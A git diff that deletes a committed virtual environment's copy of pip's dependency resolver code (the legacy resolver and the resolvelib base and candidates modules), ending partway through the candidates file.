-            not install_req.user_supplied or parent_req_name is None
-        ), "a user supplied req shouldn't have a parent"
-
-        # Unnamed requirements are scanned again and the requirement won't be
-        # added as a dependency until after scanning.
-        if not install_req.name:
-            requirement_set.add_unnamed_requirement(install_req)
-            return [install_req], None
-
-        try:
-            existing_req: InstallRequirement | None = requirement_set.get_requirement(
-                install_req.name
-            )
-        except KeyError:
-            existing_req = None
-
-        has_conflicting_requirement = (
-            parent_req_name is None
-            and existing_req
-            and not existing_req.constraint
-            and existing_req.extras == install_req.extras
-            and existing_req.req
-            and install_req.req
-            and existing_req.req.specifier != install_req.req.specifier
-        )
-        if has_conflicting_requirement:
-            raise InstallationError(
-                f"Double requirement given: {install_req} "
-                f"(already in {existing_req}, name={install_req.name!r})"
-            )
-
-        # When no existing requirement exists, add the requirement as a
-        # dependency and it will be scanned again after.
-        if not existing_req:
-            requirement_set.add_named_requirement(install_req)
-            # We'd want to rescan this requirement later
-            return [install_req], install_req
-
-        # Assume there's no need to scan, and that we've already
-        # encountered this for scanning.
-        if install_req.constraint or not existing_req.constraint:
-            return [], existing_req
-
-        does_not_satisfy_constraint = install_req.link and not (
-            existing_req.link and install_req.link.path == existing_req.link.path
-        )
-        if does_not_satisfy_constraint:
-            raise InstallationError(
-                f"Could not satisfy constraints for '{install_req.name}': "
-                "installation from path or url cannot be "
-                "constrained to a version"
-            )
-        # If we're now installing a constraint, mark the existing
-        # object for real installation.
-        existing_req.constraint = False
-        # If we're now installing a user supplied requirement,
-        # mark the existing object as such.
-        if install_req.user_supplied:
-            existing_req.user_supplied = True
-        existing_req.extras = tuple(
-            sorted(set(existing_req.extras) | set(install_req.extras))
-        )
-        logger.debug(
-            "Setting %s extras to: %s",
-            existing_req,
-            existing_req.extras,
-        )
-        # Return the existing requirement for addition to the parent and
-        # scanning again.
-        return [existing_req], existing_req
-
-    def _is_upgrade_allowed(self, req: InstallRequirement) -> bool:
-        if self.upgrade_strategy == "to-satisfy-only":
-            return False
-        elif self.upgrade_strategy == "eager":
-            return True
-        else:
-            assert self.upgrade_strategy == "only-if-needed"
-            return req.user_supplied or req.constraint
-
-    def _set_req_to_reinstall(self, req: InstallRequirement) -> None:
-        """
-        Set a requirement to be installed.
-        """
-        # Don't uninstall the conflict if doing a user install and the
-        # conflict is not a user install.
-        assert req.satisfied_by is not None
-        if not self.use_user_site or req.satisfied_by.in_usersite:
-            req.should_reinstall = True
-        req.satisfied_by = None
-
-    def _check_skip_installed(self, req_to_install: InstallRequirement) -> str | None:
-        """Check if req_to_install should be skipped.
-
-        This will check if the req is installed, and whether we should upgrade
-        or reinstall it, taking into account all the relevant user options.
-
-        After calling this req_to_install will only have satisfied_by set to
-        None if the req_to_install is to be upgraded/reinstalled etc. Any
-        other value will be a dist recording the current thing installed that
-        satisfies the requirement.
-
-        Note that for vcs urls and the like we can't assess skipping in this
-        routine - we simply identify that we need to pull the thing down,
-        then later on it is pulled down and introspected to assess upgrade/
-        reinstalls etc.
-
-        :return: A text reason for why it was skipped, or None.
-        """
-        if self.ignore_installed:
-            return None
-
-        req_to_install.check_if_exists(self.use_user_site)
-        if not req_to_install.satisfied_by:
-            return None
-
-        if self.force_reinstall:
-            self._set_req_to_reinstall(req_to_install)
-            return None
-
-        if not self._is_upgrade_allowed(req_to_install):
-            if self.upgrade_strategy == "only-if-needed":
-                return "already satisfied, skipping upgrade"
-            return "already satisfied"
-
-        # Check for the possibility of an upgrade.  For link-based
-        # requirements we have to pull the tree down and inspect to assess
-        # the version #, so it's handled way down.
-        if not req_to_install.link:
-            try:
-                self.finder.find_requirement(req_to_install, upgrade=True)
-            except BestVersionAlreadyInstalled:
-                # Then the best version is installed.
-                return "already up-to-date"
-            except DistributionNotFound:
-                # No distribution found, so we squash the error.  It will
-                # be raised later when we re-try later to do the install.
-                # Why don't we just raise here?
-                pass
-
-        self._set_req_to_reinstall(req_to_install)
-        return None
-
-    def _find_requirement_link(self, req: InstallRequirement) -> Link | None:
-        upgrade = self._is_upgrade_allowed(req)
-        best_candidate = self.finder.find_requirement(req, upgrade)
-        if not best_candidate:
-            return None
-
-        # Log a warning per PEP 592 if necessary before returning.
-        link = best_candidate.link
-        if link.is_yanked:
-            reason = link.yanked_reason or ""
-            msg = (
-                # Mark this as a unicode string to prevent
-                # "UnicodeEncodeError: 'ascii' codec can't encode character"
-                # in Python 2 when the reason contains non-ascii characters.
-                "The candidate selected for download or install is a "
-                f"yanked version: {best_candidate}\n"
-                f"Reason for being yanked: {reason}"
-            )
-            logger.warning(msg)
-
-        return link
-
-    def _populate_link(self, req: InstallRequirement) -> None:
-        """Ensure that if a link can be found for this, that it is found.
-
-        Note that req.link may still be None - if the requirement is already
-        installed and not needed to be upgraded based on the return value of
-        _is_upgrade_allowed().
-
-        If preparer.require_hashes is True, don't use the wheel cache, because
-        cached wheels, always built locally, have different hashes than the
-        files downloaded from the index server and thus throw false hash
-        mismatches. Furthermore, cached wheels at present have nondeterministic
-        contents due to file modification times.
-        """
-        if req.link is None:
-            req.link = self._find_requirement_link(req)
-
-        if self.wheel_cache is None or self.preparer.require_hashes:
-            return
-
-        assert req.link is not None, "_find_requirement_link unexpectedly returned None"
-        cache_entry = self.wheel_cache.get_cache_entry(
-            link=req.link,
-            package_name=req.name,
-            supported_tags=get_supported(),
-        )
-        if cache_entry is not None:
-            logger.debug("Using cached wheel link: %s", cache_entry.link)
-            if req.link is req.original_link and cache_entry.persistent:
-                req.cached_wheel_source_link = req.link
-            if cache_entry.origin is not None:
-                req.download_info = cache_entry.origin
-            else:
-                # Legacy cache entry that does not have origin.json.
-                # download_info may miss the archive_info.hashes field.
-                req.download_info = direct_url_from_link(
-                    req.link, link_is_in_wheel_cache=cache_entry.persistent
-                )
-            req.link = cache_entry.link
-
-    def _get_dist_for(self, req: InstallRequirement) -> BaseDistribution:
-        """Takes a InstallRequirement and returns a single AbstractDist \
-        representing a prepared variant of the same.
-        """
-        if req.editable:
-            return self.preparer.prepare_editable_requirement(req)
-
-        # satisfied_by is only evaluated by calling _check_skip_installed,
-        # so it must be None here.
-        assert req.satisfied_by is None
-        skip_reason = self._check_skip_installed(req)
-
-        if req.satisfied_by:
-            return self.preparer.prepare_installed_requirement(req, skip_reason)
-
-        # We eagerly populate the link, since that's our "legacy" behavior.
-        self._populate_link(req)
-        dist = self.preparer.prepare_linked_requirement(req)
-
-        # NOTE
-        # The following portion is for determining if a certain package is
-        # going to be re-installed/upgraded or not and reporting to the user.
-        # This should probably get cleaned up in a future refactor.
-
-        # req.req is only avail after unpack for URL
-        # pkgs repeat check_if_exists to uninstall-on-upgrade
-        # (#14)
-        if not self.ignore_installed:
-            req.check_if_exists(self.use_user_site)
-
-        if req.satisfied_by:
-            should_modify = (
-                self.upgrade_strategy != "to-satisfy-only"
-                or self.force_reinstall
-                or self.ignore_installed
-                or req.link.scheme == "file"
-            )
-            if should_modify:
-                self._set_req_to_reinstall(req)
-            else:
-                logger.info(
-                    "Requirement already satisfied (use --upgrade to upgrade): %s",
-                    req,
-                )
-        return dist
-
-    def _resolve_one(
-        self,
-        requirement_set: RequirementSet,
-        req_to_install: InstallRequirement,
-    ) -> list[InstallRequirement]:
-        """Prepare a single requirements file.
-
-        :return: A list of additional InstallRequirements to also install.
-        """
-        # Tell user what we are doing for this requirement:
-        # obtain (editable), skipping, processing (local url), collecting
-        # (remote url or package name)
-        if req_to_install.constraint or req_to_install.prepared:
-            return []
-
-        req_to_install.prepared = True
-
-        # Parse and return dependencies
-        dist = self._get_dist_for(req_to_install)
-        # This will raise UnsupportedPythonVersion if the given Python
-        # version isn't compatible with the distribution's Requires-Python.
-        _check_dist_requires_python(
-            dist,
-            version_info=self._py_version_info,
-            ignore_requires_python=self.ignore_requires_python,
-        )
-
-        more_reqs: list[InstallRequirement] = []
-
-        def add_req(subreq: Requirement, extras_requested: Iterable[str]) -> None:
-            # This idiosyncratically converts the Requirement to str and let
-            # make_install_req then parse it again into Requirement. But this is
-            # the legacy resolver so I'm just not going to bother refactoring.
-            sub_install_req = self._make_install_req(str(subreq), req_to_install)
-            parent_req_name = req_to_install.name
-            to_scan_again, add_to_parent = self._add_requirement_to_set(
-                requirement_set,
-                sub_install_req,
-                parent_req_name=parent_req_name,
-                extras_requested=extras_requested,
-            )
-            if parent_req_name and add_to_parent:
-                self._discovered_dependencies[parent_req_name].append(add_to_parent)
-            more_reqs.extend(to_scan_again)
-
-        with indent_log():
-            # We add req_to_install before its dependencies, so that we
-            # can refer to it when adding dependencies.
-            assert req_to_install.name is not None
-            if not requirement_set.has_requirement(req_to_install.name):
-                # 'unnamed' requirements will get added here
-                # 'unnamed' requirements can only come from being directly
-                # provided by the user.
-                assert req_to_install.user_supplied
-                self._add_requirement_to_set(
-                    requirement_set, req_to_install, parent_req_name=None
-                )
-
-            if not self.ignore_dependencies:
-                if req_to_install.extras:
-                    logger.debug(
-                        "Installing extra requirements: %r",
-                        ",".join(req_to_install.extras),
-                    )
-                missing_requested = sorted(
-                    set(req_to_install.extras) - set(dist.iter_provided_extras())
-                )
-                for missing in missing_requested:
-                    logger.warning(
-                        "%s %s does not provide the extra '%s'",
-                        dist.raw_name,
-                        dist.version,
-                        missing,
-                    )
-
-                available_requested = sorted(
-                    set(dist.iter_provided_extras()) & set(req_to_install.extras)
-                )
-                for subreq in dist.iter_dependencies(available_requested):
-                    add_req(subreq, extras_requested=available_requested)
-
-        return more_reqs
-
-    def get_installation_order(
-        self, req_set: RequirementSet
-    ) -> list[InstallRequirement]:
-        """Create the installation order.
-
-        The installation order is topological - requirements are installed
-        before the requiring thing. We break cycles at an arbitrary point,
-        and make no other guarantees.
-        """
-        # The current implementation, which we may change at any point
-        # installs the user specified things in the order given, except when
-        # dependencies must come earlier to achieve topological order.
-        order = []
-        ordered_reqs: set[InstallRequirement] = set()
-
-        def schedule(req: InstallRequirement) -> None:
-            if req.satisfied_by or req in ordered_reqs:
-                return
-            if req.constraint:
-                return
-            ordered_reqs.add(req)
-            for dep in self._discovered_dependencies[req.name]:
-                schedule(dep)
-            order.append(req)
-
-        for install_req in req_set.requirements.values():
-            schedule(install_req)
-        return order
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/__init__.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/base.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/base.py
deleted file mode 100644
index 9d7518383d37e7593c13e810fb61605e4ca795e2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/base.py
+++ /dev/null
@@ -1,164 +0,0 @@
-from __future__ import annotations
-
-from collections.abc import Iterable
-from dataclasses import dataclass
-from typing import Optional
-
-from pip._vendor.packaging.specifiers import SpecifierSet
-from pip._vendor.packaging.utils import NormalizedName
-from pip._vendor.packaging.version import Version
-
-from pip._internal.models.link import Link, links_equivalent
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.utils.hashes import Hashes
-
-CandidateLookup = tuple[Optional["Candidate"], InstallRequirement | None]
-
-
-def format_name(project: NormalizedName, extras: frozenset[NormalizedName]) -> str:
-    if not extras:
-        return project
-    extras_expr = ",".join(sorted(extras))
-    return f"{project}[{extras_expr}]"
-
-
-@dataclass(frozen=True)
-class Constraint:
-    specifier: SpecifierSet
-    hashes: Hashes
-    hash_options: dict[str, list[str]]
-    links: frozenset[Link]
-
-    @classmethod
-    def empty(cls) -> Constraint:
-        return Constraint(SpecifierSet(), Hashes(), {}, frozenset())
-
-    @classmethod
-    def from_ireq(cls, ireq: InstallRequirement) -> Constraint:
-        links = frozenset([ireq.link]) if ireq.link else frozenset()
-        hash_options = {alg: list(v) for alg, v in ireq.hash_options.items()}
-        return Constraint(
-            ireq.specifier,
-            ireq.hashes(trust_internet=False),
-            hash_options,
-            links,
-        )
-
-    def __bool__(self) -> bool:
-        return bool(self.specifier) or bool(self.hashes) or bool(self.links)
-
-    def __and__(self, other: InstallRequirement) -> Constraint:
-        if not isinstance(other, InstallRequirement):
-            return NotImplemented
-        specifier = self.specifier & other.specifier
-        hashes = self.hashes & other.hashes(trust_internet=False)
-        if not self.hash_options:
-            hash_options = {alg: list(v) for alg, v in other.hash_options.items()}
-        elif not other.hash_options:
-            hash_options = {alg: list(v) for alg, v in self.hash_options.items()}
-        else:
-            hash_options = {
-                alg: [v for v in other.hash_options[alg] if v in self.hash_options[alg]]
-                for alg in self.hash_options.keys() & other.hash_options.keys()
-            }
-        links = self.links
-        if other.link:
-            links = links.union([other.link])
-        return Constraint(specifier, hashes, hash_options, links)
-
-    def is_satisfied_by(self, candidate: Candidate) -> bool:
-        # Reject if there are any mismatched URL constraints on this package.
-        if self.links and not all(_match_link(link, candidate) for link in self.links):
-            return False
-        # We can safely always allow prereleases here since PackageFinder
-        # already implements the prerelease logic, and would have filtered out
-        # prerelease candidates if the user does not expect them.
-        return self.specifier.contains(candidate.version, prereleases=True)
-
-    def format_for_error(self) -> str:
-        s = str(self.specifier)
-        if self.links:
-            s += f" (from {', '.join(str(link) for link in self.links)})"
-        return s
-
-
-class Requirement:
-    @property
-    def project_name(self) -> NormalizedName:
-        """The "project name" of a requirement.
-
-        This is different from ``name`` if this requirement contains extras,
-        in which case ``name`` would contain the ``[...]`` part, while this
-        refers to the name of the project.
-        """
-        raise NotImplementedError("Subclass should override")
-
-    @property
-    def name(self) -> str:
-        """The name identifying this requirement in the resolver.
-
-        This is different from ``project_name`` if this requirement contains
-        extras, where ``project_name`` would not contain the ``[...]`` part.
-        """
-        raise NotImplementedError("Subclass should override")
-
-    def is_satisfied_by(self, candidate: Candidate) -> bool:
-        return False
-
-    def get_candidate_lookup(self) -> CandidateLookup:
-        raise NotImplementedError("Subclass should override")
-
-    def format_for_error(self) -> str:
-        raise NotImplementedError("Subclass should override")
-
-
-def _match_link(link: Link, candidate: Candidate) -> bool:
-    if candidate.source_link:
-        return links_equivalent(link, candidate.source_link)
-    return False
-
-
-class Candidate:
-    @property
-    def project_name(self) -> NormalizedName:
-        """The "project name" of the candidate.
-
-        This is different from ``name`` if this candidate contains extras,
-        in which case ``name`` would contain the ``[...]`` part, while this
-        refers to the name of the project.
-        """
-        raise NotImplementedError("Override in subclass")
-
-    @property
-    def name(self) -> str:
-        """The name identifying this candidate in the resolver.
-
-        This is different from ``project_name`` if this candidate contains
-        extras, where ``project_name`` would not contain the ``[...]`` part.
-        """
-        raise NotImplementedError("Override in subclass")
-
-    @property
-    def version(self) -> Version:
-        raise NotImplementedError("Override in subclass")
-
-    @property
-    def is_installed(self) -> bool:
-        raise NotImplementedError("Override in subclass")
-
-    @property
-    def is_editable(self) -> bool:
-        raise NotImplementedError("Override in subclass")
-
-    @property
-    def source_link(self) -> Link | None:
-        raise NotImplementedError("Override in subclass")
-
-    def iter_dependencies(self, with_requires: bool) -> Iterable[Requirement | None]:
-        raise NotImplementedError("Override in subclass")
-
-    def get_install_requirement(self) -> InstallRequirement | None:
-        raise NotImplementedError("Override in subclass")
-
-    def format_for_error(self) -> str:
-        raise NotImplementedError("Subclass should override")
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/candidates.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/candidates.py
deleted file mode 100644
index b8b853cb761215b810750b295bfb0ed86e39f698..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/candidates.py
+++ /dev/null
@@ -1,598 +0,0 @@
-from __future__ import annotations
-
-import logging
-import sys
-from collections.abc import Iterable
-from typing import TYPE_CHECKING, Any, Union, cast
-
-from pip._vendor.packaging.requirements import InvalidRequirement
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import Version
-
-from pip._internal.exceptions import (
-    FailedToPrepareCandidate,
-    HashError,
-    InstallationSubprocessError,
-    InvalidInstalledPackage,
-    MetadataInconsistent,
-    MetadataInvalid,
-)
-from pip._internal.metadata import BaseDistribution
-from pip._internal.models.link import Link, links_equivalent
-from pip._internal.models.wheel import Wheel
-from pip._internal.req.constructors import (
-    install_req_from_editable,
-    install_req_from_line,
-)
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.utils.direct_url_helpers import direct_url_from_link
-from pip._internal.utils.misc import normalize_version_info
-
-from .base import Candidate, Requirement, format_name
-
-if TYPE_CHECKING:
-    from .factory import Factory
-
-logger = logging.getLogger(__name__)
-
-BaseCandidate = Union[
-    "AlreadyInstalledCandidate",
-    "EditableCandidate",
-    "LinkCandidate",
-]
-
-# Avoid conflicting with the PyPI package "Python".
-REQUIRES_PYTHON_IDENTIFIER = cast(NormalizedName, "")
-
-
-def as_base_candidate(candidate: Candidate) -> BaseCandidate | None:
-    """The runtime version of BaseCandidate."""
-    base_candidate_classes = (
-        AlreadyInstalledCandidate,
-        EditableCandidate,
-        LinkCandidate,
-    )
-    if isinstance(candidate, base_candidate_classes):
-        return candidate
-    return None
-
-
-def make_install_req_from_link(
-    link: Link,
-    template: InstallRequirement,
-    version: Version | None = None,
-) -> InstallRequirement:
-    assert not template.editable, "template is editable"
-    if version is not None and template.req and template.hash_options:
-        # When hashes are provided via constraints for an unpinned requirement,
-        # the resulting install requirement must appear pinned so that the
-        # hash-checking logic does not reject it as HashUnpinned.
-        line = f"{template.req.name}=={version}"
-    elif template.req:
-        line = str(template.req)
-    else:
-        line = link.url
-    ireq = install_req_from_line(
-        line,
-        user_supplied=template.user_supplied,
-        comes_from=template.comes_from,
-        isolated=template.isolated,
-        constraint=template.constraint,
-        hash_options=template.hash_options,
-        config_settings=template.config_settings,
-    )
-    ireq.original_link = template.original_link
-    ireq.link = link
-    ireq.extras = template.extras
-    return ireq
-
-
-def make_install_req_from_editable(
-    link: Link, template: InstallRequirement
-) -> InstallRequirement:
-    assert template.editable, "template not editable"
-    if template.name:
-        req_string = f"{template.name} @ {link.url}"
-    else:
-        req_string = link.url
-    ireq = install_req_from_editable(
-        req_string,
-        user_supplied=template.user_supplied,
-        comes_from=template.comes_from,
-        isolated=template.isolated,
-        constraint=template.constraint,
-        hash_options=template.hash_options,
-        config_settings=template.config_settings,
-    )
-    ireq.extras = template.extras
-    return ireq
-
-
-def _make_install_req_from_dist(
-    dist: BaseDistribution, template: InstallRequirement
-) -> InstallRequirement:
-    if template.req:
-        line = str(template.req)
-    elif template.link:
-        line = f"{dist.canonical_name} @ {template.link.url}"
-    else:
-        line = f"{dist.canonical_name}=={dist.version}"
-    ireq = install_req_from_line(
-        line,
-        user_supplied=template.user_supplied,
-        comes_from=template.comes_from,
-        isolated=template.isolated,
-        constraint=template.constraint,
-        hash_options=template.hash_options,
-        config_settings=template.config_settings,
-    )
-    ireq.satisfied_by = dist
-    return ireq
-
-
-class _InstallRequirementBackedCandidate(Candidate):
-    """A candidate backed by an ``InstallRequirement``.
-
-    This represents a package request with the target not being already
-    in the environment, and needs to be fetched and installed. The backing
-    ``InstallRequirement`` is responsible for most of the leg work; this
-    class exposes appropriate information to the resolver.
-
-    :param link: The link passed to the ``InstallRequirement``. The backing
-        ``InstallRequirement`` will use this link to fetch the distribution.
-    :param source_link: The link this candidate "originates" from. This is
-        different from ``link`` when the link is found in the wheel cache.
-        ``link`` would point to the wheel cache, while this points to the
-        found remote link (e.g. from pypi.org).
-    """
-
-    dist: BaseDistribution
-    is_installed = False
-
-    def __init__(
-        self,
-        link: Link,
-        source_link: Link,
-        ireq: InstallRequirement,
-        factory: Factory,
-        name: NormalizedName | None = None,
-        version: Version | None = None,
-    ) -> None:
-        self._link = link
-        self._source_link = source_link
-        self._factory = factory
-        self._ireq = ireq
-        self._name = name
-        self._version = version
-        self.dist = self._prepare()
-        self._hash: int | None = None
-
-    def __str__(self) -> str:
-        return f"{self.name} {self.version}"
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({str(self._link)!r})"
-
-    def __hash__(self) -> int:
-        if self._hash is not None:
-            return self._hash
-
-        self._hash = hash((self.__class__, self._link))
-        return self._hash
-
-    def __eq__(self, other: Any) -> bool:
-        if isinstance(other, self.__class__):
-            return links_equivalent(self._link, other._link)
-        return False
-
-    @property
-    def source_link(self) -> Link | None:
-        return self._source_link
-
-    @property
-    def project_name(self) -> NormalizedName:
-        """The normalised name of the project the candidate refers to"""
-        if self._name is None:
-            self._name = self.dist.canonical_name
-        return self._name
-
-    @property
-    def name(self) -> str:
-        return self.project_name
-
-    @property
-    def version(self) -> Version:
-        if self._version is None:
-            self._version = self.dist.version
-        return self._version
-
-    def format_for_error(self) -> str:
-        return (
-            f"{self.name} {self.version} "
-            f"(from {'editable ' if self.is_editable else ''}"
-            f"{self._link.file_path if self._link.is_file else self._link})"
-        )
-
-    def _prepare_distribution(self) -> BaseDistribution:
-        raise NotImplementedError("Override in subclass")
-
-    def _check_metadata_consistency(self, dist: BaseDistribution) -> None:
-        """Check for consistency of project name and version of dist."""
-        if self._name is not None and self._name != dist.canonical_name:
-            raise MetadataInconsistent(
-                self._ireq,
-                "name",
-                self._name,
-                dist.canonical_name,
-            )
-        if self._version is not None and self._version != dist.version:
-            raise MetadataInconsistent(
-                self._ireq,
-                "version",
-                str(self._version),
-                str(dist.version),
-            )
-        # check dependencies are valid
-        # TODO performance: this means we iterate the dependencies at least twice,
-        # we may want to cache parsed Requires-Dist
-        try:
-            list(dist.iter_dependencies(list(dist.iter_provided_extras())))
-        except InvalidRequirement as e:
-            raise MetadataInvalid(self._ireq, str(e))
-
-    def _prepare(self) -> BaseDistribution:
-        try:
-            dist = self._prepare_distribution()
-        except HashError as e:
-            # Provide HashError the underlying ireq that caused it. This
-            # provides context for the resulting error message to show the
-            # offending line to the user.
-            e.req = self._ireq
-            raise
-        except InstallationSubprocessError as exc:
-            if isinstance(self._ireq.comes_from, InstallRequirement):
-                request_chain = self._ireq.comes_from.from_path()
-            else:
-                request_chain = self._ireq.comes_from
-
-            if request_chain is None:
-                request_chain = "directly requested"
-
-            raise FailedToPrepareCandidate(
-                package_name=self._ireq.name or str(self._link),
-                requirement_chain=request_chain,
-                failed_step=exc.command_description,
-            )
-
-        self._check_metadata_consistency(dist)
-        return dist
-
-    def iter_dependencies(self, with_requires: bool) -> Iterable[Requirement | None]:
-        # Emit the Requires-Python requirement first to fail fast on
-        # unsupported candidates and avoid pointless downloads/preparation.
-        yield self._factory.make_requires_python_requirement(self.dist.requires_python)
-        requires = self.dist.iter_dependencies() if with_requires else ()
-        for r in requires:
-            yield from self._factory.make_requirements_from_spec(str(r), self._ireq)
-
-    def get_install_requirement(self) -> InstallRequirement | None:
-        return self._ireq
-
-
-class LinkCandidate(_InstallRequirementBackedCandidate):
-    is_editable = False
-
-    def __init__(
-        self,
-        link: Link,
-        template: InstallRequirement,
-        factory: Factory,
-        name: NormalizedName | None = None,
-        version: Version | None = None,
-    ) -> None:
-        source_link = link
-        cache_entry = factory.get_wheel_cache_entry(source_link, name)
-        if cache_entry is not None:
-            logger.debug("Using cached wheel link: %s", cache_entry.link)
-            link = cache_entry.link
-        ireq = make_install_req_from_link(link, template, version=version)
-        assert ireq.link == link
-        if ireq.link.is_wheel and not ireq.link.is_file:
-            wheel = Wheel(ireq.link.filename)
-            wheel_name = wheel.name
-            assert name == wheel_name, f"{name!r} != {wheel_name!r} for wheel"
-            # Version may not be present for PEP 508 direct URLs
-            if version is not None:
-                wheel_version = Version(wheel.version)
-                assert (
-                    version == wheel_version
-                ), f"{version!r} != {wheel_version!r} for wheel {name}"
-
-        if cache_entry is not None:
-            assert ireq.link.is_wheel
-            assert ireq.link.is_file
-            if cache_entry.persistent and template.link is template.original_link:
-                ireq.cached_wheel_source_link = source_link
-            if cache_entry.origin is not None:
-                ireq.download_info = cache_entry.origin
-            else:
-                # Legacy cache entry that does not have origin.json.
-                # download_info may miss the archive_info.hashes field.
-                ireq.download_info = direct_url_from_link(
-                    source_link, link_is_in_wheel_cache=cache_entry.persistent
-                )
-
-        super().__init__(
-            link=link,
-            source_link=source_link,
-            ireq=ireq,
-            factory=factory,
-            name=name,
-            version=version,
-        )
-
-    def _prepare_distribution(self) -> BaseDistribution:
-        preparer = self._factory.preparer
-        return preparer.prepare_linked_requirement(self._ireq, parallel_builds=True)
-
-
-class EditableCandidate(_InstallRequirementBackedCandidate):
-    is_editable = True
-
-    def __init__(
-        self,
-        link: Link,
-        template: InstallRequirement,
-        factory: Factory,
-        name: NormalizedName | None = None,
-        version: Version | None = None,
-    ) -> None:
-        super().__init__(
-            link=link,
-            source_link=link,
-            ireq=make_install_req_from_editable(link, template),
-            factory=factory,
-            name=name,
-            version=version,
-        )
-
-    def _prepare_distribution(self) -> BaseDistribution:
-        return self._factory.preparer.prepare_editable_requirement(self._ireq)
-
-
-class AlreadyInstalledCandidate(Candidate):
-    is_installed = True
-    source_link = None
-
-    def __init__(
-        self,
-        dist: BaseDistribution,
-        template: InstallRequirement,
-        factory: Factory,
-    ) -> None:
-        self.dist = dist
-        self._ireq = _make_install_req_from_dist(dist, template)
-        self._factory = factory
-        self._version = None
-
-        # This is just logging some messages, so we can do it eagerly.
-        # The returned dist would be exactly the same as self.dist because we
-        # set satisfied_by in _make_install_req_from_dist.
-        # TODO: Supply reason based on force_reinstall and upgrade_strategy.
-        skip_reason = "already satisfied"
-        factory.preparer.prepare_installed_requirement(self._ireq, skip_reason)
-
-    def __str__(self) -> str:
-        return str(self.dist)
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({self.dist!r})"
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, AlreadyInstalledCandidate):
-            return NotImplemented
-        return self.name == other.name and self.version == other.version
-
-    def __hash__(self) -> int:
-        return hash((self.name, self.version))
-
-    @property
-    def project_name(self) -> NormalizedName:
-        return self.dist.canonical_name
-
-    @property
-    def name(self) -> str:
-        return self.project_name
-
-    @property
-    def version(self) -> Version:
-        if self._version is None:
-            self._version = self.dist.version
-        return self._version
-
-    @property
-    def is_editable(self) -> bool:
-        return self.dist.editable
-
-    def format_for_error(self) -> str:
-        return f"{self.name} {self.version} (Installed)"
-
-    def iter_dependencies(self, with_requires: bool) -> Iterable[Requirement | None]:
-        if not with_requires:
-            return
-
-        try:
-            for r in self.dist.iter_dependencies():
-                yield from self._factory.make_requirements_from_spec(str(r), self._ireq)
-        except InvalidRequirement as exc:
-            raise InvalidInstalledPackage(dist=self.dist, invalid_exc=exc) from None
-
-    def get_install_requirement(self) -> InstallRequirement | None:
-        return None
-
-
-class ExtrasCandidate(Candidate):
-    """A candidate that has 'extras', indicating additional dependencies.
-
-    Requirements can be for a project with dependencies, something like
-    foo[extra].  The extras don't affect the project/version being installed
-    directly, but indicate that we need additional dependencies. We model that
-    by having an artificial ExtrasCandidate that wraps the "base" candidate.
-
-    The ExtrasCandidate differs from the base in the following ways:
-
-    1. It has a unique name, of the form foo[extra]. This causes the resolver
-       to treat it as a separate node in the dependency graph.
-    2. When we're getting the candidate's dependencies,
-       a) We specify that we want the extra dependencies as well.
-       b) We add a dependency on the base candidate.
-          See below for why this is needed.
-    3. We return None for the underlying InstallRequirement, as the base
-       candidate will provide it, and we don't want to end up with duplicates.
-
-    The dependency on the base candidate is needed so that the resolver can't
-    decide that it should recommend foo[extra1] version 1.0 and foo[extra2]
-    version 2.0. Having those candidates depend on foo=1.0 and foo=2.0
-    respectively forces the resolver to recognise that this is a conflict.
-    """
-
-    def __init__(
-        self,
-        base: BaseCandidate,
-        extras: frozenset[str],
-        *,
-        comes_from: InstallRequirement | None = None,
-    ) -> None:
-        """
-        :param comes_from: the InstallRequirement that led to this candidate if it
-            differs from the base's InstallRequirement. This will often be the
-            case in the sense that this candidate's requirement has the extras
-            while the base's does not. Unlike the InstallRequirement backed
-            candidates, this requirement is used solely for reporting purposes,
-            it does not do any leg work.
-        """
-        self.base = base
-        self.extras = frozenset(canonicalize_name(e) for e in extras)
-        self._comes_from = comes_from if comes_from is not None else self.base._ireq
-
-    def __str__(self) -> str:
-        name, rest = str(self.base).split(" ", 1)
-        return "{}[{}] {}".format(name, ",".join(self.extras), rest)
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}(base={self.base!r}, extras={self.extras!r})"
-
-    def __hash__(self) -> int:
-        return hash((self.base, self.extras))
-
-    def __eq__(self, other: Any) -> bool:
-        if isinstance(other, self.__class__):
-            return self.base == other.base and self.extras == other.extras
-        return False
-
-    @property
-    def project_name(self) -> NormalizedName:
-        return self.base.project_name
-
-    @property
-    def name(self) -> str:
-        """The normalised name of the project the candidate refers to"""
-        return format_name(self.base.project_name, self.extras)
-
-    @property
-    def version(self) -> Version:
-        return self.base.version
-
-    def format_for_error(self) -> str:
-        return "{} [{}]".format(
-            self.base.format_for_error(), ", ".join(sorted(self.extras))
-        )
-
-    @property
-    def is_installed(self) -> bool:
-        return self.base.is_installed
-
-    @property
-    def is_editable(self) -> bool:
-        return self.base.is_editable
-
-    @property
-    def source_link(self) -> Link | None:
-        return self.base.source_link
-
-    def iter_dependencies(self, with_requires: bool) -> Iterable[Requirement | None]:
-        factory = self.base._factory
-
-        # Add a dependency on the exact base
-        # (See note 2b in the class docstring)
-        yield factory.make_requirement_from_candidate(self.base)
-        if not with_requires:
-            return
-
-        # The user may have specified extras that the candidate doesn't
-        # support. We ignore any unsupported extras here.
-        valid_extras = self.extras.intersection(self.base.dist.iter_provided_extras())
-        invalid_extras = self.extras.difference(self.base.dist.iter_provided_extras())
-        for extra in sorted(invalid_extras):
-            logger.warning(
-                "%s %s does not provide the extra '%s'",
-                self.base.name,
-                self.version,
-                extra,
-            )
-
-        for r in self.base.dist.iter_dependencies(valid_extras):
